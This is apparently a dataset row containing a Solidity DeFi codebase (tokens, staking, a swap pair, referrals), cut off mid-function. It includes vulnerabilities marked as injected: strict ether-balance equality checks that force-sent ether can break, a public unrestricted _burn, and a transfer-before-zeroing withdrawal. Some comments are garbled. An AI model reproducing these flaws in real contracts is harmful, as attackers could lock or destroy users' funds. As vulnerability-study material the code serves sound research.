file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
/**
*Submitted for verification at Etherscan.io on 2020-09-29
*/
pragma solidity ^0.5.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LockIdGen {
uint256 public requestCount;
constructor() public {
requestCount = 0;
}
function generateLockId() internal returns (bytes32 lockId) {
return keccak256(abi.encodePacked(blockhash(block.number-1), address(this), ++requestCount));
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(StandardToken token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(StandardToken token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(StandardToken token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(StandardToken token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(StandardToken token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(ERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ManagerUpgradeable is LockIdGen {
struct ChangeRequest {
address proposedNew;
address proposedClear;
}
// address public custodian;
mapping (address => address) public managers;
mapping (bytes32 => ChangeRequest) public changeReqs;
uint256 public mancount ;
// CONSTRUCTOR
constructor(
address [] memory _mans
)
LockIdGen()
public
{
uint256 numMans = _mans.length;
for (uint256 i = 0; i < numMans; i++) {
address pto = _mans[i];
require(pto != address(0));
managers[pto] = pto;
}
mancount = 0;
}
modifier onlyManager {
require(msg.sender == managers[msg.sender],"onlyManger must use");
_;
}
//replace managers
function replaceManager(address _new,address _clear) public onlyManager {
require( _clear != address(0) || _new != address(0) );
require( _clear == address(0) || managers[_clear] == _clear);
if(_new != address(0))
{
managers[_new] = _new;
mancount = mancount + 1;
}
if(_clear != address(0))
{
delete managers[_clear];
mancount = mancount - 1;
}
}
// for manager change
function requestChange(address _new,address _clear) public onlyManager returns (bytes32 lockId) {
require( _clear != address(0) || _new != address(0) );
require( _clear == address(0) || managers[_clear] == _clear);
lockId = generateLockId();
changeReqs[lockId] = ChangeRequest({
proposedNew: _new,
proposedClear: _clear
});
emit ChangeRequested(lockId, msg.sender, _new,_clear);
}
event ChangeRequested(
bytes32 _lockId,
address _msgSender,
address _new,
address _clear
);
function confirmChange(bytes32 _lockId) public onlyManager {
ChangeRequest storage changeRequest = changeReqs[_lockId];
require( changeRequest.proposedNew != address(0) || changeRequest.proposedClear != address(0));
if(changeRequest.proposedNew != address(0))
{
managers[changeRequest.proposedNew] = changeRequest.proposedNew;
mancount = mancount + 1;
}
if(changeRequest.proposedClear != address(0))
{
delete managers[changeRequest.proposedClear];
mancount = mancount - 1;
}
delete changeReqs[_lockId];
emit ChangeConfirmed(_lockId, changeRequest.proposedNew,changeRequest.proposedClear);
}
event ChangeConfirmed(bytes32 _lockId, address _newCustodian, address _clearCustodian);
function sweepChange(bytes32 _lockId) public onlyManager {
ChangeRequest storage changeRequest=changeReqs[_lockId];
require((changeRequest.proposedNew != address(0) || changeRequest.proposedClear != address(0) ));
delete changeReqs[_lockId];
emit ChangeSweep(_lockId, msg.sender);
}
event ChangeSweep(bytes32 _lockId, address _sender);
function sweeptoken(address tokenaddr,uint256 amount) public onlyManager{
TransferHelper.safeTransfer(tokenaddr,msg.sender,amount);
}
function sweepeth(uint256 amount) public onlyManager{
msg.sender.transfer(amount);
}
}
contract ERC20Basic {
// events
event Transfer(address indexed from, address indexed to, uint256 value);
// public functions
function totalSupply() public view returns (uint256);
function balanceOf(address addr) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract ERC20 is ERC20Basic {
// events
event Approval(address indexed owner, address indexed agent, uint256 value);
// public functions
function allowance(address owner, address agent) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address agent, uint256 value) public returns (bool);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
// public variables
string public name;
string public symbol;
uint8 public decimals = 18;
// internal variables
uint256 _totalSupply;
mapping(address => uint256) _balances;
// events
// public functions
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address addr) public view returns (uint256 balance) {
return _balances[addr];
}
function transfer(address to, uint256 value) public returns (bool) {
require(to != address(0));
require(value <= _balances[msg.sender]);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
// internal functions
}
contract StandardToken is ERC20, BasicToken {
// public variables
// internal variables
mapping (address => mapping (address => uint256)) _allowances;
// events
// public functions
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(to != address(0));
require(value <= _balances[from],"value lt from");
require(value <= _allowances[from][msg.sender],"value lt _allowances from ");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function approve(address agent, uint256 value) public returns (bool) {
_allowances[msg.sender][agent] = value;
emit Approval(msg.sender, agent, value);
return true;
}
function allowance(address owner, address agent) public view returns (uint256) {
return _allowances[owner][agent];
}
function increaseApproval(address agent, uint value) public returns (bool) {
_allowances[msg.sender][agent] = _allowances[msg.sender][agent].add(value);
emit Approval(msg.sender, agent, _allowances[msg.sender][agent]);
return true;
}
function decreaseApproval(address agent, uint value) public returns (bool) {
uint allowanceValue = _allowances[msg.sender][agent];
if (value > allowanceValue) {
_allowances[msg.sender][agent] = 0;
} else {
_allowances[msg.sender][agent] = allowanceValue.sub(value);
}
emit Approval(msg.sender, agent, _allowances[msg.sender][agent]);
return true;
}
// internal functions
}
contract MinableToken is StandardToken,ManagerUpgradeable{
uint256 maxMined =0;
constructor(uint256 _maxMined,address [] memory _mans) public ManagerUpgradeable(_mans){
maxMined = _maxMined;
}
function _mint(address to, uint256 value) public onlyManager {
require(maxMined==0||_totalSupply.add(value)<=maxMined,"_mint value invalid");
_totalSupply = _totalSupply.add(value);
_balances[to] = _balances[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) public {
_balances[from] = _balances[from].sub(value);
_totalSupply = _totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
}
contract DFKII is MinableToken {
// public variables
string public name = "Defiking.finance Version 2.0";
string public symbol = "DFKII";
uint8 public decimals = 18;
// internal variables
// events
// public functions
constructor(address [] memory _mans,uint256 _maxMined) public MinableToken(_maxMined,_mans) {
//init _totalSupply
// _totalSupply = 1000*10000 * (10 ** uint256(decimals));
// _balances[msg.sender] = _totalSupply;
// emit Transfer(address(0x0), msg.sender, _totalSupply);
}
// internal functions
}
contract USDT is MinableToken {
// public variables
string public name = "Defiking.finance Version 2.0";
string public symbol = "USDT";
uint8 public decimals = 6;
// internal variables
// events
// public functions
constructor(address [] memory _mans,uint256 _maxMined) public MinableToken(_maxMined,_mans) {
//init _totalSupply
// _totalSupply = 1000*10000 * (10 ** uint256(decimals));
// _balances[msg.sender] = _totalSupply;
// emit Transfer(address(0x0), msg.sender, _totalSupply);
}
// internal functions
}
contract DFK is ManagerUpgradeable {
//liquidity +
function stakingDeposit(uint256 value) public payable returns (bool);
//profit +
function profit2Staking(uint256 value)public returns (bool success);
function withdrawProfit(address to)public returns (bool success);
function withdrawStaking(address to,uint256 value)public returns (bool success);
function withdrawAll(address to)public returns (bool success);
function totalMiners() public view returns (uint256);
function totalStaking() public view returns (uint256);
function poolBalance() public view returns (uint256);
function minedBalance() public view returns (uint256);
function stakingBalance(address miner) public view returns (uint256);
function profitBalance(address miner) public view returns (uint256);
function pauseStaking()public returns (bool success);
function resumeStaking()public returns (bool success);
}
contract DFKImplement is DFK {
using SafeMath for uint256;
using SafeERC20 for StandardToken;
int public status;
struct StakingLog{
uint256 staking_time;
uint256 profit_time;
uint256 staking_value;
uint256 unstaking_value;
}
mapping(address => StakingLog) public stakings;
uint256 public cleanup_time;
uint256 public profit_period;
uint256 public period_bonus;
mapping(address => uint256) public balanceProfit;
mapping(address => uint256) public balanceStaking;
StandardToken public dfkToken;
uint256 public _totalMiners;
uint256 public _totalStaking;
uint256 public totalProfit;
uint256 public minePoolBalance;
modifier onStaking {
require(status == 1,"please start minner");
_;
}
event ProfitLog(
address indexed from,
uint256 profit_time,
uint256 staking_value,
uint256 unstaking_value,
uint256 profit_times,
uint256 profit
);
constructor(address _dfkToken,int decimals,address [] memory _mans) public ManagerUpgradeable(_mans){
status = 0;
cleanup_time = now;
profit_period = 24*3600;
period_bonus = 100000*(10 ** uint256(decimals));
cleanup_time = now;
dfkToken = StandardToken(_dfkToken);
}
function addMinePool(uint256 stakevalue) public onStaking payable returns (uint256){
require(stakevalue>0);
// user must call prove first.
dfkToken.safeTransferFrom(msg.sender,address(this),stakevalue);
minePoolBalance = minePoolBalance.add(stakevalue);
return minePoolBalance;
}
function stakingDeposit(uint256 stakevalue) public onStaking payable returns (bool){
require(stakevalue>0,"stakevalue is gt zero");
// user must call prove first.
dfkToken.transferFrom(msg.sender,address(this),stakevalue);
_totalStaking = _totalStaking.add(stakevalue);
return addMinerStaking(msg.sender,stakevalue);
}
function addMinerStaking(address miner,uint256 stakevalue) internal returns (bool){
balanceStaking[miner] = balanceStaking[miner].add(stakevalue);
StakingLog memory slog=stakings[miner];
if(slog.profit_time < cleanup_time){
stakings[miner] = StakingLog({
staking_time:now,
profit_time:now,
staking_value:0,
unstaking_value:stakevalue
});
_totalMiners = _totalMiners.add(1);
}else if(now.sub(slog.profit_time) >= profit_period){
uint256 profit_times = now.sub(slog.profit_time).div(profit_period);
stakings[miner] = StakingLog({
staking_time:now,
profit_time:now,
staking_value:slog.staking_value.add(slog.unstaking_value),
unstaking_value:stakevalue
});
uint256 profit = period_bonus.mul(stakings[miner].staking_value).mul(profit_times).div(_totalStaking);
emit ProfitLog(miner,stakings[miner].profit_time,stakings[miner].staking_value,stakings[miner].unstaking_value,profit_times,profit);
require(minePoolBalance>=profit,"minePoolBalance lt profit");
minePoolBalance = minePoolBalance.sub(profit);
balanceProfit[miner]=balanceProfit[miner].add(profit);
totalProfit = totalProfit.add(profit);
}else {
stakings[miner] = StakingLog({
staking_time:now,
profit_time:slog.profit_time,
staking_value:slog.staking_value,
unstaking_value:slog.unstaking_value.add(stakevalue)
});
}
return true;
}
function profit2Staking(uint256 value)public onStaking returns (bool success){
require(balanceProfit[msg.sender]>=value);
balanceProfit[msg.sender] = balanceProfit[msg.sender].sub(value);
return addMinerStaking(msg.sender,value);
}
function withdrawProfit(address to)public returns (bool success){
require(to != address(0));
addMinerStaking(msg.sender,0);
uint256 profit = balanceProfit[msg.sender];
balanceProfit[msg.sender] = 0;
require(dfkToken.transfer(to,profit));
return true;
}
function withdrawStaking(address to,uint256 value)public returns (bool success){
require(value>0);
require(to != address(0));
require(balanceStaking[msg.sender]>=value);
require(_totalStaking>=value);
_totalStaking=_totalStaking.sub(value);
balanceStaking[msg.sender] = balanceStaking[msg.sender].sub(value);
StakingLog memory slog=stakings[msg.sender];
stakings[msg.sender] = StakingLog({
staking_time:now,
profit_time:slog.profit_time,
staking_value:0,
unstaking_value:balanceStaking[msg.sender]
});
require(dfkToken.transfer(to,value));
return true;
}
function withdrawAll(address to)public returns (bool success){
require(to != address(0));
addMinerStaking(msg.sender,0);
_totalStaking=_totalStaking.sub(balanceStaking[msg.sender]);
uint256 total=balanceStaking[msg.sender].add(balanceProfit[msg.sender]);
balanceProfit[msg.sender]=0;
balanceStaking[msg.sender] = 0;
stakings[msg.sender] = StakingLog({
staking_time:0,
profit_time:0,
staking_value:0,
unstaking_value:0
});
// _totalMiners=_totalMiners.sub(1);
require(dfkToken.transfer(to,total));
return true;
}
function totalMiners() public view returns (uint256){
return _totalMiners;
}
function totalStaking() public view returns (uint256){
return _totalStaking;
}
function poolBalance() public view returns (uint256){
return minePoolBalance;
}
function minedBalance() public view returns (uint256){
return totalProfit;
}
function stakingBalance(address miner) public view returns (uint256){
return balanceStaking[miner];
}
function profitBalance(address miner) public view returns (uint256){
return balanceProfit[miner];
}
function pauseStaking()public onlyManager returns (bool ){
status = 0;
}
function resumeStaking()public onlyManager returns (bool ){
status = 1;
}
}
contract DFKImplHelper{
using SafeMath for uint256;
DFKImplement public dfkImpl;
constructor(address _dfkImpl) public{
dfkImpl = DFKImplement(_dfkImpl);
}
function calcProfit(address miner) public view returns (uint256)
{
(,uint256 profit_time,uint256 staking_value,) = dfkImpl.stakings(miner);
if(profit_time < dfkImpl.cleanup_time()){
return 0;
}else if(now.sub(profit_time) >= dfkImpl.profit_period()){
uint256 profit_times = now.sub(profit_time).div(dfkImpl.profit_period());
uint256 profit = dfkImpl.period_bonus().mul(staking_value).mul(profit_times).div(dfkImpl._totalStaking());
return profit;
}else {
return 0;
}
}
function calcProfitForFee(address miner,uint256 totalFee,uint256 lastFetchFee) public view returns (uint256)
{
(,uint256 profit_time,uint256 staking_value,) = dfkImpl.stakings(miner);
if(address(this).balance == 0) { //inject FORCED TO RECEIVE ETHERS
return 0;
}
if(profit_time < dfkImpl.cleanup_time()){
return 0;
}else {
// uint256 profit_times = now.sub(profit_time).div(dfkImpl.profit_period());
uint256 profit = totalFee.mul(staking_value).div(dfkImpl._totalStaking());
if(profit>lastFetchFee){
return profit.sub(lastFetchFee);
}else{
return 0;
}
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract DTradeLiquids is StandardToken {
// public variables
string public name = "Defiking.finance swap";
string public symbol = "DTrade-V1 LP";
uint8 public decimals = 18;
// internal variables
// events
address owner;
// public functions
constructor() public {
//init _totalSupply
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function _mint(address to, uint value) public onlyOwner {
_totalSupply = _totalSupply.add(value);
_balances[to] = _balances[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) public onlyOwner{
_balances[from] = _balances[from].sub(value);
_totalSupply = _totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
//function initialize(string _symbol) public{
// symbol = _symbol;
// }
// internal functions
}
interface Refers {
function rewards2Super(address user,uint256 totalReward) external returns (bool);
}
contract DFKExPair is ManagerUpgradeable{
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public token0;//usdt,basic token
address public token1;//dfkii
uint8 public price_decimal = 8;
uint256 public cur_price = 0;
uint public fee2Liquid = 22;
uint public fee2Refs = 3;
uint public fee2Burn = 5;
uint256 public feeTotal=30;
uint256 public PRICE_MOD=10000;//1110000
uint256 public FEE_MOD=10000;//1110000
uint256 public TOKEN_DECIMAL_DIF;//1110000
uint256 public reserve0 =0;//liquid.token0
uint256 public reserve1 =0;//liquid.token1
uint256 public decimal0;//liquid.token0
uint256 public decimal1;//liquid.token1
uint256 public fee = 0;
uint256 public priceFlips = 1;//flips for each 10000 token1
uint256 public totalProfitForLiquids =0; //fee.for liquid
uint256 public totalProfitRefs =0; //fee.for dfk1 staking
uint256 public totalProfitBurn =0; //fee.for burn
uint256 public totalLiquids = 0;
// mapping(address => uint256) public profits4DFK1;
mapping(address => uint256[]) public liquidBonusLog;
address public liquidToken;//
Refers public refers;
address public isDfkiiRefs;
uint256 public unlocked = 0;
uint256 public miniLiquid = 100000*(10 **18);
modifier onLiquity {
require(address(this).balance == 1,"please wait liquity"); //inject FORCED TO RECEIVE ETHERS
_;
}
function pauseLiquity() public onlyManager returns (bool ){
unlocked = 0;
}
function resumeLiquity() public onlyManager returns (bool ){
unlocked = 1;
}
constructor(address _token0,address _token1,address refs,uint256 initprice,address []memory _mans,uint256 _miniLiquid) public ManagerUpgradeable(_mans){
//init _totalSupply
token0 = _token0;
token1 = _token1;
if(_token0 == address(0x0)){
decimal0 = 10 **18;
} else {
decimal0 = 10 **uint256(StandardToken(_token0).decimals());
}
if(_token1 == address(0x0)){
decimal1 = 10 **18;
} else {
decimal1 = 10 **uint256(StandardToken(_token1).decimals());
}
cur_price = initprice;
TOKEN_DECIMAL_DIF = decimal1.div(decimal0);
refers = Refers(refs);
bytes memory bytecode = type(DTradeLiquids).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
address _swapV2;
assembly {
_swapV2 := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
liquidToken = _swapV2;
miniLiquid=_miniLiquid;
}
function setPriceMod(uint256 price_mod) onlyManager public {
require(price_mod>0);
PRICE_MOD=price_mod;
}
//111111111111
function fixPrice (uint256 price,uint _fee2Liquid,uint _fee2Refs,uint _fee2Burn,uint256 _priceFlips,uint256 _miniLiquid) onlyManager public {
cur_price = price;
fee2Liquid = _fee2Liquid;
fee2Refs = _fee2Refs;
fee2Burn = _fee2Burn;
feeTotal = fee2Liquid+fee2Refs+fee2Burn;
priceFlips = _priceFlips;
miniLiquid=_miniLiquid;
}
//1111111
function poolTokens(uint256 amount0,uint256 amount1) payable onlyManager public {
if(token0 == address(0x0)){
require(msg.value>=amount0);
} else{
TransferHelper.safeTransferFrom(token0,msg.sender,address(this),amount0);
}
if(token1 == address(0x0)){
require(msg.value>=amount1,"eth not enough");
}else{
TransferHelper.safeTransferFrom(token1,msg.sender,address(this),amount1);
}
reserve0 = reserve0.add(amount0);
reserve1 = reserve1.add(amount1);
}
event TotalEvent(
uint256 totalProfitBurn,
uint256 totalProfitRefs,
uint256 totalProfitForLiquids,
uint256 cur_price,
uint256 liquidfee,
uint256 liquidRefs,
uint256 liquidburn
);
event TotalAmount(
uint256 amount0,
uint256 amount1,
uint256 avg_price,
uint256 fee
);
//swap token0 or token1
function swap(uint256 amount0,uint256 amount1 ,bool toLiquids) payable public returns(uint256,uint256){
require(cur_price>0);
if(amount1>0 && amount0 == 0){//sell token get basic token
//uint256 price_float = amount1.mul(priceFlips).div(decimal1).div(PRICE_MOD);
// require (ERC20(token1).balanceOf(msg.sender) >= amount1 );
uint256 price_float = amount1.mul(priceFlips).div(decimal1);
require(price_float<cur_price,"too large amount");
uint256 next_price = cur_price.sub(price_float);
uint256 avg_price = cur_price.add(next_price).div(2);
if(token1 == address(0x0)){
require(msg.value>=amount1);
}else{
require (ERC20(token1).balanceOf(msg.sender) >= amount1 );
TransferHelper.safeTransferFrom(token1,msg.sender,address(this),amount1);
}
uint256 liquidfee = amount1.mul(fee2Liquid).div(FEE_MOD);
uint256 liquidRefs = amount1.mul(fee2Refs).div(FEE_MOD);
uint256 liquidburn = amount1.mul(fee2Burn).div(FEE_MOD);
amount1 = amount1.sub(liquidfee).sub(liquidRefs).sub(liquidburn);
if(address(refers)!=address(0x0)){
TransferHelper.safeTransfer(token1,address(refers),liquidRefs);
refers.rewards2Super(msg.sender,liquidRefs);
}
totalProfitBurn = totalProfitBurn.add(liquidburn);
totalProfitRefs = totalProfitRefs.add(liquidRefs);
totalProfitForLiquids = totalProfitForLiquids.add(liquidfee);
amount0 = amount1.mul(avg_price).div(TOKEN_DECIMAL_DIF).div(PRICE_MOD);
cur_price = next_price;
if(toLiquids){
reserve0 = reserve0.add(amount0);
reserve1 = reserve1.add(amount1);
}else{
if(token0==address(0x0))
{//eth
msg.sender.transfer(amount0);
}else{
TransferHelper.safeTransfer(token0,msg.sender,amount0);
}
}
}
else if(amount0 > 0 && amount1 == 0){//using eth/usdt to buy token1
if(token0 == address(0x0)) {
require(msg.value >= amount0 );
} else {
require (ERC20(token0).balanceOf(msg.sender) >= amount0 );
TransferHelper.safeTransferFrom(token0,msg.sender,address(this),amount0);
}
amount1 = amount0.mul(PRICE_MOD).div(cur_price);
uint256 price_float = amount1.mul(priceFlips).div(decimal0);
uint256 next_price = cur_price.add(price_float);
uint256 avg_price = cur_price.add(next_price).div(2);
amount1 = amount0.mul(TOKEN_DECIMAL_DIF).mul(PRICE_MOD).div(avg_price);
uint256 liquidfee = amount1.mul(fee2Liquid).div(FEE_MOD);
uint256 liquidRefs = amount1.mul(fee2Refs).div(FEE_MOD);
uint256 liquidburn = amount1.mul(fee2Burn).div(FEE_MOD);
amount1 = amount1.sub(liquidfee).sub(liquidRefs).sub(liquidburn);
if(address(refers)!=address(0x0)){
TransferHelper.safeTransfer(token1,address(refers),liquidRefs);
refers.rewards2Super(msg.sender,liquidRefs);
}
totalProfitBurn = totalProfitBurn.add(liquidburn);
totalProfitRefs = totalProfitRefs.add(liquidRefs);
totalProfitForLiquids = totalProfitForLiquids.add(liquidfee);
cur_price = next_price;
if(toLiquids){
reserve0 = reserve0.add(amount0);
reserve1 = reserve1.add(amount1);
}else{
if(token1 == address(0x0)){
msg.sender.transfer(amount1);
}else{
TransferHelper.safeTransfer(token1,msg.sender,amount1);
}
}
}
return (amount0,amount1);
}
function addLiquid(uint256 amount0) public onLiquity payable returns(uint256) {
if(token0 == address(0x0)){
require (msg.value >= amount0);
}else{
require (ERC20(token0).balanceOf(msg.sender) >= amount0 );
TransferHelper.safeTransferFrom(token0,msg.sender,address(this),amount0.div(2));
}
(,uint256 buyamount1) = swap(amount0.div(2),0,true);
uint256 totalLiquid = reserve1.add(reserve1);
uint256 poolLiquid = ERC20(address(token1)).balanceOf(address(this));
if(poolLiquid<miniLiquid){
poolLiquid=miniLiquid;
}
uint256 mineCoin = buyamount1.add(buyamount1).mul(totalLiquid).div(poolLiquid);
DTradeLiquids(liquidToken)._mint(msg.sender,mineCoin);
uint256 leftCoin = amount0.sub(amount0.div(2).mul(2));
if(leftCoin>0&&token0!=address(0x0)){
TransferHelper.safeTransferFrom(token0,msg.sender,address(this),leftCoin);
}
return mineCoin;
}
function removeLiquid(uint256 amountL) payable public returns(uint256,uint256) {
require(DTradeLiquids(liquidToken).balanceOf(msg.sender)>=amountL);
uint256 totalLiquid = reserve1.add(reserve1);
uint256 amount1 = amountL.mul((ERC20(address(token1)).balanceOf(address(this)))).div(totalLiquid).div(2);
uint256 amount0 = amount1.mul(cur_price).div(TOKEN_DECIMAL_DIF).div(PRICE_MOD);
require(ERC20(token1).balanceOf(address(this))>=amount1);
reserve1 = reserve1.sub(amount1);
reserve0 = reserve0.sub(amount0);
DTradeLiquids(liquidToken)._burn(msg.sender,amountL);
if(token0==address(0x0))
{//eth
require(address(this).balance>=amount0);
msg.sender.transfer(amount0);
}else{
require(ERC20(token0).balanceOf(address(this))>=amount0);
TransferHelper.safeTransfer(token0,msg.sender,amount0);
}
if(token1==address(0x0))
{//eth
require(address(this).balance>=amount1);
msg.sender.transfer(amount1);
}else{
require(ERC20(token1).balanceOf(address(this))>=amount1);
TransferHelper.safeTransfer(token1,msg.sender,amount1);
}
return (amount0,amount1);
}
}
contract UserRefers is ManagerUpgradeable,Refers{
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping(address => address) public relations;
mapping(address => address[]) public superiors;
mapping(address => address) public callers;
mapping(address => uint256) public rewards;
address public topAddr;
address public token;
constructor(address _token,address []memory _mans) public ManagerUpgradeable(_mans){
relations[address(0x0)] = address(0x0);
topAddr = msg.sender;
token = _token;
}
function addCaller(address _newCaller) onlyManager public {
callers[_newCaller] = _newCaller;
}
function removeCaller(address rmCaller) onlyManager public {
callers[rmCaller] = address(0x0);
}
function buildSuperoir(address ref,uint256 maxLayer) public {
if(relations[msg.sender]==address(0x0)) {
relations[msg.sender] = ref;
superiors[msg.sender].push(ref);
address[] memory supers = superiors[ref];
if(supers.length>0){
superiors[msg.sender].push(supers[0]);
}
uint256 cc = 2;
for(uint256 i=1;i<supers.length && cc < maxLayer;i++){
superiors[msg.sender].push(supers[i]);
cc++;
}
}
}
function withdrawRewards() public{
require(rewards[msg.sender]>0);
TransferHelper.safeTransfer(token,msg.sender,rewards[msg.sender]);
rewards[msg.sender] = 0;
}
// 0.03%1111111110.01%1111111130%10.005%11111111,15%,0.015%111131111211
function rewards2Super(address user,uint256 totalReward) external returns (bool)
{
require(callers[msg.sender]==msg.sender,"caller is empty") ;
// rewards[user] = rewards[user].add(totalReward);
address[] memory supers = superiors[user];
uint256 leftReward = totalReward;
uint256 bonus0;
